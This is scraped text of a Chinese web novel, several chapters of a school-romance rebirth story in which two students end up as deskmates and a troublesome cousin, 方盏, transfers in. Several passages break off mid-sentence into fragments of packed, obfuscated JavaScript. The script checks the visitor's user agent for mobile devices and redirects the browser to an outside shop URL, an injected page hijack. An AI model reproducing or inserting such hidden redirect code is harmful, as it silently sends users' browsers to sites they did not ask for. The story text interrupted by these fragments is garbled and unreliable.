她没继续说下去,看人群渐渐散开,把书包带子往上拎了拎,看向宋未海:“先走了。” “……好。”宋未海此时有点像打个地洞钻进去,“考试加油。” . 高中学生的怨气比鬼大,考试周更是学校变地府,所及之处哀鸿遍野,沈余离考完一门就趴在考场里睡觉,直到三门全考完才打着哈欠走出教室,原本她还迷迷瞪瞪的,直到被蹲在教室门口的宋未海惊得一个激灵。 沈余离拎着书包袋子,揉了揉眼:“你干嘛呢?” 宋未海把数学卷子翻得哗哗作响,闷声道:“自闭。” 沈余离走近了点儿,宋未海正一边抓着自己的头发,一边一脸痛苦地看着自己的数学卷子,声调听起来都像快哭了:“我选择题好多不确定……完蛋了,我这次连六十分儿都岌岌可危了。” “……”沈余离回想了下自己反面几乎空白的答题纸,抿了下唇,下意识地瞟向宋未海的数学卷子。 她本人其实没有考完后慷慨激昂对答案的爱好,但架不住不小心瞄到了,犹豫须臾,还是没忍住道:“我跟你差不多,但第十五题我算了二十分钟了,我觉得第十五题选b。” 宋未海的头发快被他薅成鸡窝了:“我算了三十分钟了,我觉得它选d。” 沈余离蹙了下眉:“反正我先排除了A。” 宋未海应声道:“对啊,我也觉得A肯定是错的,但b也是错的,你先听我说啊…” 就当宋未海深吸了一口气,打算高谈阔论一翻自己的解题思路时,同考场的林桉冷不防地凑到两人中间,幽幽道:“别浪费唾液了哥们儿,这题正确答案是A,刚问过老师了。” 宋未海沉默无言地看向沈余离:“……” 沈余离面无表情地回视宋未海:“……” 说的也是,两个数学倒数前五十在这儿争啥呢? 沈余离难得觉得有些窘迫,耳尖微微发红,不动声色地把数学卷子塞进书包里,淡声道:“走了,去吃饭,饿了。” “……哎,小鱼你等等我!”林桉马上跟上,很热络地勾住沈余离的肩膀,半个人倚在她身上,一脸浮夸地望着天花板,“等下学期会考完结束,老娘就可以跟文综彻底拜拜了,文科就是玄学,玄学!!” 沈余离任由着她勾,语气平淡地调侃道:“玄学至少还有考好的可能呢,理科连可能性都没给我,不会就是不会。” 跟在俩姑娘后面的宋未海无比赞同地点了点头。 “哎不过。”林桉语调又一转,有些难过道,“文理分科后,咱俩就不是一个班了……而且听说你要办走读,这下连室友也做不成了呜呜呜呜呜……” “没事。”沈余离安慰她,虽然就连安慰人的语调都没什么起伏,“还会见很多面的,不要担心。” “哎。”林桉薛定谔的眼泪鼻涕才淌到一半,又被她一下子用力吸回去,小姑娘性子风风火火的,话题去得快来得也快,“就身后那哥们儿,是不是前几天校园墙上说喜欢你那个?” “啊。”沈余离啊了一声,既没脸红也没太惊讶,“可能是乱传的吧。” “真的?”林桉偷偷朝后瞄了一眼,压低声音道,“这货不会和赵志云那傻逼一样吧?小心点啊小鱼,他们班其他人说这人还挺古怪的。” “谢谢你。”沈余离拍了拍她的手让她放心,“但他不会的,我知道。” 沈余离是一个看起来很透明也很好说话,但实际上很有自己主见的人,她对于别人的判断都基于自己社交的感觉,而这些后天形成的印象不会轻易被其他人的言论所改变。 宋未海做的她都看在眼里,他是什么样的人,她很清楚。 林桉不会知道沈余离这些藏起来的心思,继续八卦道:“那你俩现在啥关系啊?” 沈余离没什么犹豫地回答:“好朋友。” “那你……”林桉把她箍得紧了点儿,声音压得更低,“喜欢他吗?” 沈余离很大方坦荡地承认:“是有一点儿好感。” “——!”林桉差点惊叫出声,但碍于另一位当事人就跟在身后,还是及时地克制住了自己汹涌澎湃的惊讶之情,只敢用气声道,“——你铁树开花啊你。” 沈余离没有很羞涩地回避这个话题,表情平常得仿佛在说一件再日常不过的琐事:“他人很好,帮了我很久,所以,有点喜欢,我觉得还挺正常的。” “哇。”林桉情不自禁地感叹了声,“如果他对你好,我会支持的!” 姑娘太激动了,一时忘了克制音量,最后一句话的分贝不大不小,恰好一字不落地传到了宋未海的耳朵里。 林桉刚吼完一嗓子,才后知后觉地意识到这话没有前提也没有主语,八成能让听到的人误会些什么,她赶忙紧张兮兮地看了眼宋未海,很用力地清了清嗓子,声音如洪、掷地有声道:“小鱼,如果物理化学对你好的话,我会支持你选理的,绝不阻拦!!” 说完,她俏皮地对沈余离眨了眨眼睛,意思是我临场反应是不是超棒。 “……”沈余离一时无语得有些想笑,“那你可千万要拦住我啊。” “……没、没事的,其实不用这样。”就在林桉还在对沈余离挤眉弄眼的时候,身后的宋未海突然发话了,“那个……放心好了,我不会和别人说的。” “……” 沈余离默默地看向林桉,一脸“我就说吧”。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062685|195100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >宋未海认真地点点头,虽然表情看上去有些受伤,但仍然一本正经地看着沈余离:“我会由衷地祝福沈同学的。” 沈余离扶额:“……” “……”林桉一只手挡住嘴,悄声道,“其实有时候流言也不是完全荒谬的,有件事儿其实说得挺对的。” “那啥。”小姑娘打着哈哈,“他好像是有点儿呆。” …… . 考完试的一个礼拜之后出分班情况,整个年级的分班情况都会打成一张大表贴在布告栏上,沈余离特意错了个峰,等到放学人少了点儿,才慢吞吞地去看分班情况。 放学的档口大家都忙着去食堂抢晚饭,布告栏前面难得没有什么人,沈余离打算顺道去看一眼,才发现宋未海也恰巧跟着一块儿下来了。 沈余离抱着双臂,淡淡地瞥了他一眼,没多说话。 “……怎、怎么了?”沈余离沉默的时候没人看得出她的心思,她这样面无表情地往哪儿一站,突然弄得宋未海也莫名紧张起来,他以为沈余离是因为考得不好而难过,就连分班表也顾不上看了,小心翼翼地凑过去安慰道,“没事的沈同学……我这次数学差得一骑绝尘,肯定帮你垫着,月考而已……不用太难过。” 沈余离维持着原先的姿势没动,只是回眸看了他一眼。 宋未海担心自己说错了话,立即噤了声儿,只是这么站着,一动不动地盯着沈余离的反应。 “……” 两座木桩不知在原地沉默对视了多久,直到最后,沈余离才没忍住破功,噗嗤一声轻笑出来。 “虽然,我这分数是挺惨不忍睹的。”她话到一半,几乎不可见地勾了下唇角,抬手一指分班表,那一张密密麻麻的大表上,沈余离和宋未海的名字正巧挨在一块儿,都被排在了高二3班的下面。 沈余离就连笑起来的时候,眼尾和眉梢都不会有很大的动作起伏,但与皮笑肉不笑的冷淡不同,即便神色依然平静,她那双琥珀般的眼睛中,依然上浮了一缕不显山露水的笑意。 她的声音很轻快,就像冰锥的尾部碎裂再落进柔软的雪地里:“不过有时候,我们也得感谢下我俩这烂得旗鼓相当的数学,不是么?” 宋未海顺着她手指指着的方向看去,不由得一愣。 在他的记忆里,上一世他跟沈余离一点儿交集都没有,他们两个连一个正儿八经的对视都没有,甚至高二分班之后,他连沈余离的名字都很少听到了,更遑论成为同班同学? 宋未海下意识地咬了下唇,用刺痛感来提醒自己当下的一切,都是在真实地发生的。 莫非是这一世的运转规律与上一世不同,又或者是他做出了什么举动,让这一条时间线里的命运错轨了? 宋未海抬眼,睫毛轻颤,神色认真地看向那个什么都不知道、只是静静微笑的小姑娘。 就像命运恩赐他的厚礼一般。 他曾经喜欢了许久的人,一个曾经像一阵风一样掠过他生命里的人,在接下来,将出现在他未来高中生活里的每一天。 20. 同桌的你|二 . 分班的那天,有姑娘偷偷带了拍立得和ccd,站在教室门前三三两两地拍照留念,男生还是聚在一起讲话,分贝高得快要把整个天花板都掀翻,整个高二年级像被点燃的导火线,火星子似的噼里啪啦炸了一地,又吵、又乱、又不消停,老师吼了几嗓子,但压都压不下去。 沈余离对这个班没抱有什么感情,只是被林桉和言故拉着拍了两张照,就这么面无表情地收好东西去新班级。 “哎!”林桉放下相机,突然想起什么,叫住沈余离,“那天考完以后我说的话,不会让你俩产生误会啥的吧?如果有,我帮你去解释下。” “……应该不会?”沈余离偏了下头,并没有很在意这件事儿,“要是有,到时候再说清楚就行了。” “也是。”听到沈余离这么回答,林桉放下心来,“毕竟你身边就他一个带把的,他应该不会误会的!” 沈余离:“……” 虽说是话糙理不糙吧,但大妹子你这话也太糙了。 “没事的,别太把这件事放在心上。”沈余离拍了拍林桉的肩膀,在她说出更惊天地泣鬼神的论据之前结束了这场对话,说完,沈余离俯身搬起剩下的课本,看向两个学理的前室友,轻轻地弯起嘴角,“那我走了,之前的一年,谢谢你们。” 林桉顿住,抬眸望向她。 沈余离说这话时,眼神没有躲闪,相反,她很直接、很坚定地注视着她们,那样的姿态,就如同扎根在大地上的一棵树,虽然只是一句很简单的、并不显眼的感谢,但那一字一句从她口中说出来,却仿佛树根深深地根植进泥土,无形之中,已经让人感受到了稳重而温暖的力量。 毕竟,沈余离是真的感谢。 并不是宋未海的出现才让沈余离拥有了这颗无坚不摧的心脏,也并不是宋未海的出现才让沈余离的生活变得翻天覆地,远在那名少年闯进她的生活之前,所有变故就已经先他一步,降下在她的世界了。 流言最疯狂的时候就像如针如注、永不停歇的暴雨,即便她躲避进雨伞之下,那些冰冷的、倾斜的水珠却仍然会打湿她的领口。 它们细碎、它们柔软、它们透明而看起来人畜无害,这世界上的任何一个人都不相信一滴水就能毁灭一个人,但当毫无间隙的降雨淌过他们的鼻腔、渗入他们的齿缝,不间断的潮湿感温吞地剥夺着氧气,站在大雨当中的人才会知道,这是一场无法被抓住也无法被感同身受的灾难。 那时候她和宋未海还不认识,大雨倾盆里,拧掉她衣角水珠的是言故和林桉。 她们还是像最初那样找她说话、找她吃饭、和她分享年级里的各种风云、在宿舍里一起骂造谣的人。 就像潮湿的衣服被拧干了后会被再次打湿,三个人其实都心知肚明,这样做是无法终止这场暴雨的,但至少在沈余离曾经被淋得睁不开眼、无法呼吸、出于求生本能地伸手想要去抓住什么的时候—— ——穿过滂沱的雨,她最先抓住的是她们的手臂。 那是属于人类肌肤的温度,是真切而踏实的触感,是她还没有被完全抛下的、无声的、却最令人安定的信号。 那一刻她究竟想要说什么?沈余离看着她们。当时在她试图张口、但因为雨水抢先灌进她口腔而被吞没掉的话,那一句,她想说却没来得及说出口的—— 林桉说:“抱一下吧,小鱼。” 几乎是同一时间,沈余离放下书,走近两步,将两个人一并揽过来,俯身抱住她们。 沈余离半张脸埋在她们的肩膀里,轻声道:“这也是我想说的。” “当然啦。”林桉笑了下,“我们都这么熟了,刚看到你看我们,就知道你想干嘛了。” 就连一向沉默寡言的言故都抬起手,温柔地拍了拍沈余离的背,温声道:“小鱼,我们都知道的。” 沈余离没应她们,只是阖眼笑了笑。 她是不善言辞的人,华丽动人的话她说不出,所有流淌于转瞬之间的情感,只能在她静静的凝望中无声地传递。 所幸,林桉和言故能够默契地察觉到她的心意。 也所幸,在语言晚点的时候—— ——她眼睛里的爱,会率先抵达。 三个姑娘用力地抱了下,最后又依依不舍地放开彼此,沈余离看着她们,笑道:“那我走咯。” “……行了,分个班而已,跟生离死别似的。”林桉故作潇洒地摆了摆手,想了想,却又放轻声音,情不自禁地补上一句,“要天天开心啊,小鱼。” “会的。”沈余离微微一笑,认真地回答她。 . 蓬山三中的文科生少,选文的学生加一块儿恰巧能分成两个班,沈余离的新班级姑娘偏多,教室里没有很浓重的汗味,也没那么吵,就这一点而言,她还挺喜欢这个新班级的。 沈余离平时不怎么社交,她扫视了一圈,整个班级就只有宋未海她最熟悉,恰巧宋未海也是这么想的,两个零社交人士就这么自然而然地坐到了一块儿。 沈余离看宋未海坐下来的时候迷迷瞪瞪的,脸红得像喝了假酒,她虽然不爱多管闲事,但看他这幅样子,还是没忍住开口问道:“你没睡醒?” “没……”宋未海颤颤巍巍地抬起一只手,挡住自己的脸,气若游丝道,“我可能是没吃早饭,稍微有点低血糖……” 沈余离听到这儿,沉默无言地推过去一颗阿尔卑斯。 “不不不。”宋未海虚弱地摆了摆手,“阿尔卑斯不管用。” “……”沈余离看着他调色盘一样的脸,面无表情地把糖收回来,“你还挺挑。” 宋未海撇了下眉,满脸有苦说不出。 “?”沈余离又上下打量了下他,猜测道,“……分班太紧张了?” 她虽然不爱社交,但也不会在面对陌生人时太过于紧张,看见他这幅夸张的样子,还是不免有些吃惊,“怎么害怕成这样、” “不、不是……”宋未海扶住自己的额头,无力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062686|195100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地为自己辩解。 其实根本不是紧张的,也不是害怕。 而是……他太激动了。 现在暗恋对象不仅和他成为了同班同学,还成为了他的同桌,虽然可能下一秒就会被新班主任拆开重排,但是至少是做过同桌了啊!! 宋未海捂住脸颊,能明显地感觉到自己的脸庞和火烧了似的,心脏砰砰狂跳,这个场景不真实到就算以前的他在晚上梦到这个,都要半夜坐起来,扇自己一巴掌,然后再骂一句自己真是异想天开的程度。 ……不行。 宋未海深吸一口气,努力平复心情。 一个死过一遍的人了,他得正常点,不能被别人说他傻了一辈子,紧接着还要傻下辈子,那多丢脸啊。 而且……她的室友不是说什么支持她? 那应该是有对象了吧,像沈余离这样的人,不高调宣扬,看起来也很正常。 “对了……沈同学,有件事儿我想问你,不过,绝对不是八卦啊!你要是不想回答,可以不回答。”宋未海红着脸看向她,一瞬间心中闪过很多犹豫和纠结,但最后还是有些底气不足地开口问道,“你……的……对象?他也是我们学校的吗?” “?”沈余离有些莫名其妙地看着他,在反应过来宋未海在问什么后,表情看起来有点儿像在忍着笑,“我没有对象。” “……???” 宋未海听到这话,下巴都快掉了:“那、那那天你室友……” 沈余离从容坦荡:“她在说我和你。” 这下,宋未海的下巴彻底保不住了。 “为、为为为什么……”宋未海觉得自己的心脏再度狂跳起来,滚烫的感觉一路烧上脖颈和耳根,就连牙龈都因为过度紧张而发痒难耐,“为什么要……支持我俩?” 沈余离没说话,小姑娘只是身姿挺拔地坐在那儿,安静地同他对视。 像是火柴刺啦划出的焰火,气氛在稍热一些后又迅速熄灭,宋未海一动不动地维持着原来的姿势,他看了看沈余离,又紧张得往旁边瞟,手心和指腹全是湿热的汗水,他简直像立刻找个地洞钻进去,但又怕沈余离不自在,踌踌躇躇,还是硬着头皮拙劣地找补:“呃……是觉得我俩都选文,支持我们一起好好学习?我说得没错吧!” 沈余离:“……” 真是榆木脑袋。 “……”宋未海惶恐到连吞咽都觉得困难,他微微偏头凑近,忐忑不安地再确认了一遍,“我说得……应该……没错吧?” “……有点儿偏颇。”沈余离用十分温和的措辞进行了否认,再无比直接地说出了真相,“她觉得是我喜欢你,想八卦一下,所以才有了后面的那句话。” “……?” 宋未海的神经系统顷刻间无法控制他的面部表情,五官如同断了线的零件一样,一时显得有些滑稽。 “不过说是这么说。”沈余离面不改色地挽了挽袖口,偏头看他,很快地勾了下唇,“你觉得呢?” 21. 同桌的你|三 . 在听到这句话后,宋未海的心跳如同内部齿轮运作故障的电报机,蓦地顿住了。 他其实很想让自己看起来平静一点,至少能给沈余离一句还算体面的回应,但沈余离的这句话却干脆得像一块刮板,直接将他的其他思绪全部夷平。 宋未海双手紧攥着校服裤子,不自觉地咬住下唇,下意识地重复了一遍她的话:“你问我是怎么想的?” 沈余离的眼神没有任何躲闪,不带任何逼迫、却也不带任何退缩地看着他。 “……” 宋未海咽了口唾沫,那一刻无数感受冲上四肢百骸,他的指尖因为过度用力而发麻、额角因为过度紧张而沁出汗水,轻轻地淌过脸庞,再落进进窝里,有些轻微的发痒、后背有如针扎般的隐隐刺痛——但此刻那些感受都成为一拂而去的尘埃,只有胸腔中闷雷般的心跳声,扩大至了他的整个世界。 沈余离见他这幅样子,轻笑出声:“你在紧张吗?” 宋未海抿了下唇:“……是。” 他不愿意说谎。 他当然知道随便扯个借口会容易的多,他当然知道不说实话自己就没有被拒绝的风险,他当然知道像自己这样的人,并没有展开一场疯狂追求的勇气,然而、然而—— ——然而他还是想说实话。 对他而言,掩盖之后不过是把未知的磨人感重新抛到了对面,虽然他觉得以沈余离这样的性格,估计也不会因为这点事儿难以接受——但他知道那一切都是他以为,她为此而纠结和思索的可能依然存在。 既然有这个可能,他就不愿消耗她的情绪来图自己的安心。 宋未海深吸了一口气,不知道是不是肾上腺素飙升的缘故,一股电流过身似的感觉直逼头顶,他能感觉到自己再不受控制地微微颤抖,就连发出单个字节都觉得费劲,有些艰涩地开口:“我觉得——” ——叮。 他话音未落,一阵手机铃声横插|进来,沈余离往后稍稍靠了靠,温声道:“我随便说着玩儿的,你别当真,先接电话吧。” 宋未海一直紧绷的肩膀终于放下来点儿,他有些抱歉地看向沈余离,随即接起电话: “喂。”宋未海闭着眼睛,重重地吐出一口气,试图让自己的心情平复点儿,“怎么了?” 对面传来一阵阴阳怪气的女声:“传圣旨,宋同学,你马上就要失宠被打入冷宫了,跪下接旨吧。” “……”宋未海听到这声音就心累,无奈开口,“宋小雪,说人话。” “宋小船同学,你知足吧,给你通风报信你还不乐意?”对面张口就是吐槽,“方盏和方舟要转来三中了,你的好日子到头咯。” 宋未海微愣,脸色明显白了几分:“你说什么?” “我说——”宋无霜的声音嘹亮到沈余离都听得一清二楚,“你要见到方盏了。” 对面的沈余离听到这个名字,眉头一蹙,但很快又恢复如初。 相反,宋未海就不那么冷静了。 方盏和方舟也是一对兄妹,是他小姨的孩子,宋未海的堂弟和堂妹,按照上一世的记忆,宋未海在高中毕业之后再也没听过方舟的消息,对方盏倒是记忆深刻。 与其说记忆深刻,不如说,他永远都不会忘记这个人。 方盏也选了文,和宋未海的成绩差不多,若非要比较,他比宋未海更能说会道、更擅长社交,两人原来除了这条血缘关系其实没什么交集,但后来方盏失业、在家啃老,把家底啃空时侯因为一些原因急需用钱,但他钱不够,最后把主意打到了最好说话的宋未海身上。 但当年宋未海生了场大病,后天性心衰竭,是由于长期透支健康所致的,他等了几年才等到心源,自己的那点儿积蓄全花在续命上了,根本没有剩的能补上方盏的窟窿。 方盏原本对借到钱这事儿胸有成竹,毕竟宋未海是最不会拒绝的人,但没想到他没能从宋未海身上榨出点儿什么,恼羞成怒之时想起宋未海好像在网上还是个挺有名气的写手,顺藤摸瓜地找到他的账号,在下面哭诉宋未海在网上装得大义凛然,在现实里对家人见死不救。 方盏发帖的时候用了点儿春秋笔法,再断章取义地贴点聊天记录当做证据,紧接着就像烧到尽头的导火线,针对宋未海的指控轰的炸开,震得他整个世界分崩离析。 他的上一世像一条废旧的铁路,循规蹈矩地按照轨道平缓行驶,但直到终点,才发现轨道的尽头是张牙舞爪的草丛和废墟。 宋未海排斥冲突,也没有那么尖锐的锋芒,再来一次,他没想过要报复方盏,只想无波无澜地过完一生。 现在这个名字重新出现在他面前,比起恨,他先感受到的,是一股刻在心底的、本能的恐惧。 心中像有冷火在燃烧,明明温度不刺骨,却寒冷到了灼烧心脏的地步。 宋未海没有发抖,只是一动不动地坐在那里,对面的宋无霜早就挂掉了电话,但他拿着手机的动作也依然没有放下。 迷茫、焦虑、担忧,方才所有温热的思绪和令人感到幸福的紧张被迅速浇灭,所有的一切都如同潮水一般蔓延而上,要将他立马吞没,突然—— 一个柔软而有温度的掌心,轻轻地贴住了他的手腕。 “……”真实的触感传来,宋未海从方才那股窒息感中恍然惊醒,他猛地抬头看向沈余离,惊讶道,“你……” “不要怕。”沈余离的声音不响,却很坚定,那双漂亮清澈的眼瞳,此刻正认真地注视着宋未海,“躲是没有尽头的,你不要怕。” 宋未海以为是自己的情绪一时外显,有些不好意思地躲闪了下目光,脸红道:“好的,但是我……” “不用怕。”沈余离一字一句、语气平缓镇定,“不会一点余地都没有的,我会和你一起解决。” 她没有丝毫的犹豫或瑟缩,利落得像一道下坠的水流,带着最柔软的姿态将岩块劈得碎石四溅:“我保证。” “沈同学。”宋未海心中莫名泛酸,不止是泛酸,还有愧疚,沈余离直白得令人感到安心,她好像一直是这样,一个看起来并不莽撞和冲动的姑娘,在自己被需要的时刻,却总能果断地抛掉各种权衡,用力地握住对方的手。 但她越是这样,宋未海就越会被拉回从前,那个他曾经没有勇气站出来的过去,她的坚决成为一枚火星滚烫的子弹,贯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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宋未海听她说完,突然觉得这姑娘性子里其实还有点儿不明显的轴,心觉无奈,还是说了实话,但仍然坚持自己原先的想法:“沈同学……我怕会没有个尽头,一时半会儿解决不了,而且这事儿跟你没关系,你不要被扯进来。” “还没有发生的事,为什么要觉得自己没能力解决?”沈余离一点儿也没被他的措辞吓到,神色自若,眼神中没有流露出任何一点多余的情绪,“再说了,如果你最担心的事情真的发生了,你也不是一个人在面对这些。” 宋未海一怔。 “那就当我们要面对的就是最坏的结局好了,那也没关系,不用怕。” 沈余离缓缓俯身,凑得更近了点儿,宋未海每次跟她对视的时候都会着迷于那双眼睛,他觉得那双眼睛像琥珀生长在人的身体上,澄明的色彩中沉积着生物发展、自然变化的遗迹,这样浓缩着无数岁月的载体连接上人类的眼部神经,于是当那颗心脏正在跳动、每一部分的神经各司其职之时,那双眼睛里沉睡着的万物又重新被赋予了新的生命。 是那样一种坦荡而平稳的力量,透过她的眼睛,不疾不徐地传递。 “就算最坏的结果发生了,我也会和你一起面对。” 然后,他听到她说: “这一次我们一起,等到世界的最初和最后一天。” 22. 同桌的你|四 . 沈余离就像能预知到未来的一地狼藉一般,她的这句话说得很认真很严肃,没有任何开玩笑或者夸大的成分,让宋未海都不由得愣了一下。 “谢谢你小鱼,但是…….”他笑着安慰她,“不会那么严重的,不用太担心,放心吧。” 听到这句话,沈余离意味深长地看了他一眼,但是什么都没说,只是默默地转过头。 在两人对话结束的不久,新班主任抱着一沓资料走进了教室,她的各路小道消息早就在学生之间飞传,姓徐,教语文的,刚从高三调下来。 女人走进来的瞬间,像一口锅盖闷上了沸腾的铁锅,各种飞溅短促的动静,都在那一刻化作无数沉默的蒸汽。 “同学们好。”身形高挑的女人穿着一身素色长裙,看向台下的学生,点了点头,“分班之后是一个新的开始,希望在这里,大家能继续努力、团结互助、接下来,我们先按照这次分班考的成绩排一下座位。” 话落,她直接翻开名册一个个报学生的名字,然后把他们安排到指定的座位上。 桌椅拖拽的声音和脚步声交错响起,在一片嘈杂中,班主任略微提高音量:“接下来,宋未海。” 她顿了顿,紧接着再度开口:“沈余离同学也一起上来。” 听到了自己的名字,沈余离跟着宋未海一块儿起身,她的眼神里全然没有对于新座位的期待或忐忑,显然并不强求被分到一块风水宝地,只希望身边坐的是个正常人就行。 不然,她平时不仅得智斗数学,还得智斗贱人,怪累。 她侧身穿过歪七八扭的课桌,和宋未海并肩站在讲台前,面前一本密密麻麻的名册正摊开着,新班主任一只手捧着名册的书脊,垂眸,三道目光在视线中猝不及防地相撞。 就在那一刹那,沈余离突然觉得阳光照在脖颈上的热度骤然升高,树叶摩挲、桌角次啦的声音都忽然远去,始终平静的心弦突然震颤了一下,时间的指针也突然卡顿了一秒—— “你们两个。”班主任的声音此时显得无比清晰,一字一句地敲打着她的耳膜,“坐一块儿吧,数学都要好好加油啊。” 现实和前面有些微妙的预感重合,沈余离下意识怔了一下,倒是宋未海率先反应过来,整个人“唰”地一下变得通红,支支吾吾道:“好、好,知道了老师。” 余光瞥到那道慌乱的人影,沈余离回神,淡淡地应了声,然后就回去搬东西。 走回去的几步路恍惚间被拉得很长,许多思绪像被拉长的胶卷,飞快地掠过沈余离的脑海。 她从来没有体会过这样的感觉,就连她自己都不知道如何去形容。 微小的情绪像一株一株的野草,吃惊、期待、欣喜、不可置信,无数株野草连成一片,籍籍无名地生长在广阔的心田上,但是只要风吹拂而过,排排野草就摇曳成了一片宏大而不息的浪。 脚步停在了桌椅前,弯下腰去收书的时候,沈余离仍然沉浸在自己的情绪里。 曾经的此刻自己在干什么呢?那一天的天气她已经不记得了,只记得她深陷在一堆柔软的被褥里,布料散发着淡淡的汗味,她睡得头脑发胀,各种感知都没磨得钝化,只化作无法被消解的疲倦,整个人在无尽的迷茫与隐约的焦躁中漂浮,根本分不清日夜。 那样的混乱与此时阳光的温热像两块裂痕分明的玻璃碎片,让她觉得割裂和恍然。 沈余离平时不信鬼神,但她也时常怀疑这件事——这是在做梦吗? ——这是真实的吗? “是真的哎。”宋未海的声音在离她很近的地方传来,猛地把她拉回了现实,“我之前还跟妹妹开玩笑说我俩数学成绩这么相近,说不定就能做同桌了,没想到是真的。” “…….”沈余离从思考中回神,琢磨了半晌,有些不确定地问出一句,“你这是在表示开心还是…….?” 表示对数学成绩的哀悼? “大概是…….开心?”宋未海也意识到后半句说得奇奇怪怪的,有些不好意思地挠了挠头,顺势把沈余离桌上的一部分书搬过来,有些生硬地转移了话题,“我来帮你吧。” 沈余离微笑:“谢谢。” . 蓬山三中不是一个很卷很严的学校,除了高三以外的两个年级活动都很多,换完座位之后,新班主任宣布了两个消息,一个是元旦晚会即将开始筹备,另一个是他们班即将迎来两个转校生,据说下午就到,所以在排座位时,老师特意给他们两个留了了两个座位,其中一个就在宋未海的前面。 当班主任宣布这个消息的时候,沈余离明显地感到身旁的人僵了一下,她微微偏头,轻声道:“没事,别怕。” “…….”宋未海原本还想挣扎一下,可最后还是没有多加掩饰,泄气道,“……好。” 沈余离看了眼宋未海,轻轻蹙了蹙眉,不过那一下很快,并没有让宋未海察觉到。 她并没有跟这个人正面打过交道,但是这个人的手段她并不陌生——曾经在很早很早之前,沈余离就见识过这个人的信息整合与故事编纂能力,他的春秋笔法太过玄幻,能在悄无声息之间就莫名引导着他人往他设计的方向思考,而那些信息的接受者往往很难意识到。 虽然只是她人生里很短的一段画外音——短到她当时并没有太过关注这个事情,不过沈余离对于这个人却并不是毫无记忆的,同时,她也觉得宋未海之所以会害怕成这样,并不是因为他自己天生多思多虑,而是这个人太善于纠缠不休和语言控制,很难不引起人的警惕。 甚至,她觉得像方盏这样的人,会比赵志云更加难以对付。 但是当下什么都还没发生,沈余离知道自己和宋未海也不便提前做出什么,两个人只能多防着点儿。 想到这里,她收回思路,目光重新投向黑板。分班之后就连着,新班主任在讲完各项事宜之后就开始上正课,沈余离没再多去思考方盏的事情,集中精力去上课。 . 数学课对于很多文科生来说非常煎熬,煎熬到数学难题足以盖过文科生纠结内耗的各种烦恼,沈余离在数学老师讲解第一道例题时就开始犯困,即便她强撑着不让眼皮耷拉下来,但她的脑袋还是会在某一刻猛地下坠,然后又被数学老师忽然提高的音量吓醒。 沈余离在学习上不算认真,但也不算贪玩儿,平时在完成上课内容和课堂作业之后就点到为止,在学习方面她很擅长善待自己。 对于数学,她的学习宗旨就是命里无时莫强求,写个解字就放手。 文科班的数学课安静异常,相比于沈余离这边快缴械投降的驾驶,倒是宋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062688|195100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 未海一直挺拔着身姿、紧握着笔杆、瞪大着双眼,静静盯着数学老师,眼神中全是不参杂任何一丝杂质的清澈——清澈的听不懂。 这一节课就在数学老师不断地音浪拔高再恢复、再拔高再恢复中过去,当下课铃响时,沈余离有一种身心都被解放的舒畅,哐当一声倒在课桌上蒙头大睡——但她还没来得及睡熟,班主任又再次进入教室,让同学们稍微安静一点儿。 沈余离从环成一圈的胳膊肘中抬起了半个脑袋,撩起眼皮盯着班主任。 “同学们。”班主任没注意到角落里这位特困生,见大部分人都安静下来,便接着开口,“刚刚我说过,下午我们班会进来两位转校生,现在,我们有请他们进来做一个自我介绍。” 希望数学课结束后的班级有多么精神炯炯简直是强人所难,老师话音刚落,班里的掌声就想了起来,只不过稀稀拉拉、有气无力的,实在是很难从这些掌声里感受到“热烈欢迎”四个字。 班主任退到讲台另一边后沈余离就闭起了眼睛,她不想分给这个未来的麻烦任何尊重。 转进来的就是方家的两兄妹,方舟话少,简单几句就结束了,但是方盏却喋喋不休地讲了起来。 她本身就带了点儿起床气,听到这个声音更是来火,烦躁地转了下头,半梦半醒间只听见讲台上有道含笑的男声,前面引用了一大堆诗词,又叽里咕噜地说了一大段,然后说他叫方盏,紧接着继续叽里咕噜地引用了一堆诗词,最后文绉绉地收了个尾。 沈余离眯着眼睛,漫不经心地听着,她坚信,在方盏发表完这段发言后,这个本来就昏昏欲睡的班级会有一半人立马进入冬眠。 “谢谢方盏和方舟同学。”她听到班主任的声音,“看来方盏同学的文学功底非常扎实。” “一山还有一山高。”另一道少年的声音响起,“老师,我以后还要多向老师和各位同学请教。” 两人在众目睽睽之下来回拉扯了几句,最后还是老师及时结束了这场对话,向方盏和方舟指明了他自己的位置。 